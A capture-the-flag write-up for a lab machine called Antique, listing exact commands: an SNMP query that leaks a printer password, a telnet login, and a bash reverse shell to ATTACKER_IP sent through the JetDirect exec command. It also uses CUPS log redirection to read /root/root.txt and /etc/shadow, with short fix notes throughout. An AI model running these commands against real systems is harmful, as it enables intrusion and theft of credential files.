Antique
Summary
The target ran an HP JetDirect printer management interface on telnet port 23 and an SNMP agent on UDP 161. Querying SNMP with the default 'public' community string returned the telnet administrator password in hex-encoded form from a vendor-specific MIB object.
Decoding those hex bytes yielded the clear-text password, which authenticated me to the JetDirect CLI. That CLI's built-in 'exec' command passed arguments directly to the Linux shell as the 'lp' service account, establishing an interactive reverse shell.
From that foothold, the CUPS print service — running as root on localhost port 631 — was found to allow any user with cupsctl access to redirect its error log to an arbitrary file path. Pointing the log at /root/root.txt and fetching it through the CUPS web API read the root flag without a traditional exploit, giving me complete file-read access as root.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"Attack path — how the box was taken
Exact commands 2
Grab the HP JetDirect telnet banner.
$ nmap -Pn -sV -sC -p 23 $TARGETConfirm SNMP on UDP 161.
$ nmap -Pn -sU -sV -p 161 $TARGETExact commands 2
Returns the JetDirect password as hex bytes, e.g. <withheld> ...
$ snmpwalk -v1 -c public $TARGET .1.3.6.1.4.1.11.2.3.9.1.1.13.0Decode hex to ASCII; outputs <withheld>.
$ echo "$PASSWORD" | tr ' ' '\n' | awk '{printf "%c", strtonum("0x"$0)}'FixDisable or harden SNMP to prevent credential leakageCritical
Exact commands 1
Connect; at the 'Password:' prompt enter <withheld> to reach the '>' shell.
$ telnet $TARGET 23FixRemove the HP JetDirect telnet interface or block it at the firewallCritical
Exact commands 2
Start reverse-shell listener on my machine before issuing the next command.
$ nc -lvnp 4444Replace $ATTACKER_IP with your listener IP. Sends the reverse shell through the JetDirect exec backdoor.
$ expect <<EOF
set timeout 8
log_user 1
spawn telnet $TARGET 23
expect "HP JetDirect"
send "\r"
expect "Password:"
send "$PASSWORD2\r"
expect ">"
send "exec bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1'\r"
expect eof
EOFExact commands 4
From the lp reverse shell — confirm CUPS is listening on 127.0.0.1:631.
$ ss -tlnpRedirect the CUPS error log to the root flag file.
$ cupsctl ErrorLog=/root/root.txtFetch the redirected log; returns contents of /root/root.txt as root.
$ curl -s http://localhost:631/admin/log/error_logRepeat for any other root-owned file, e.g. /etc/shadow, to demonstrate full impact.
$ cupsctl ErrorLog=/etc/shadowFixPatch CUPS and remove the lp account's ability to redirect log pathsHigh
Exposed services
| 23/tcp | telnet? |
| 161/udp | snmp |